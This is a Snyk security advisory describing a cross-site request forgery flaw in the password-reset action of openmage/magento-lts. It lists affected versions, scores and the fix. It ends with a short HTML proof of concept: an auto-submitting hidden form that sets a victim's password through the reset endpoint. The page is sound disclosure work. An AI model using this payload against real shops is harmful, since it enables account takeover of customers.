Cross-site Request Forgery (CSRF) Affecting openmage/magento-lts package, versions <19.4.22 >=20.0.0, <20.0.19


0.0
low

Snyk CVSS

    Attack Complexity Low
    User Interaction Required

    Threat Intelligence

    EPSS 0.07% (30th percentile)
Expand this section
NVD
4.3 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-OPENMAGEMAGENTOLTS-3249199
  • published 27 Jan 2023
  • disclosed 26 Jan 2023
  • credit xenx

How to fix?

Upgrade openmage/magento-lts to version 19.4.22, 20.0.19 or higher.

Overview

openmage/magento-lts is a This repository is the home of an unofficial community-driven project.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) in the resetPasswordAction() function in AccountController.php. An attacker can change a user's password by convincing them to request a password reset with the "forgot password" feature, and then sending a malicious POST request before they've set a new password.

PoC

<html> 
  <body>
    <form  action="https://demo.openmage.org/customer/account/resetpasswordpost/" method="POST">
      <input type="hidden" name="password" value="password123" />
      <input type="hidden" name="confirmation" value="password123" />
    </form>
   <script>document.forms[0].submit()</script>
  </body>
</html>